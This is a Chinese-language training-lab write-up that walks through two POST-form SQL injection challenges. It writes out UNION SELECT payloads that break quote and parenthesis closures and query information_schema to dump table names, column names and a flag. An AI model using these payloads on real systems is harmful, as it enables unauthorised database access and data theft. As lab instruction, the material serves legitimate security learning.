
post注入第一题
——————————分析靶场——————————
发现区别
怎么没有id=1?
没有那我自己输入试一下看行不行
得出答案……不行
post & get 区别一
get 会进行url编码
再次寻找用户可以自己输入数据的地方
尝试万能密码登录试一下
发现界面发生变化
————————————————尝试注入———————————————
再次输入其他信息试一下
发现输入内容被两个单引号所闭合
这会造成输入内容当成字符串,而不是代码进行执行
输入
‘ union select 1,2,3 — qwer
单引号破解被闭合 并且得到输出点
输出点为第二 第三字段位置
再次输入
得出数据库版本 以及当前数据库名
说明我输入的内容已经成功在数据库中执行,并且返回查询数据
——————————————进行下一步——————————————
数据库版本确定,大概率有系统自带库information_schema存在
输入union select 1,2,table_name from information_schema.tables where table_schema=database() — qwer’
得出表名flag
然后再次进行查询字段名
‘ union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=’flag’ — qwer
得出字段id
然后进行limit 看看有没有其他的字段
得出flag字段
那么进行 flag查询
得到flag数据
再次利用limit 1,1看有没有其他flag
结论:牢记注入的本质是用户输入的内容被当作代码执行
多次尝试总比一次放弃好的多!
post注入第二题
————————————分析靶场————————————
发现url 依旧是没有id 没有?
但是还是要尝试
发现不得行
尝试在输入框输入数据
发现我自己输入的数据被括号以及双引号包裹
导致输入内容被当成字符串,
————————————尝试突破————————————
输入”)突破闭合成功
并且得出输出点。
再次输入
得出 数据库的版本 以及当前数据库
数据库版本大于5.0 大概率存在系统自带information_schema
尝试进行注入
“) union select 1,2,talbe_name from information_schema.tables where table_schema=database() — qwer”) and password=(“”)
发现不得行 原因是因为单词写错(再次证明细心是必要的 !)
“) union select 1,2,table_name from information_schema.tables where table_schema=database() — qwer
改正后输入
并且得出表名flag
尝试得出字段名
得出一个字段id
尝试使用limit 得出其他字段
“) union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=’flag’ limit 1,1 — qwer
得出flag 字段
继续查询flag信息
”)union select 1,2,flag from flag — qwer
得出flag并且使用limit
完成post注入
结论 :再次印证注入的本质(用户可以控制输入的字符被当作代码在数据库进行执行)
渗透测试在于多尝试 并且 细心 多尝试 多想!
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)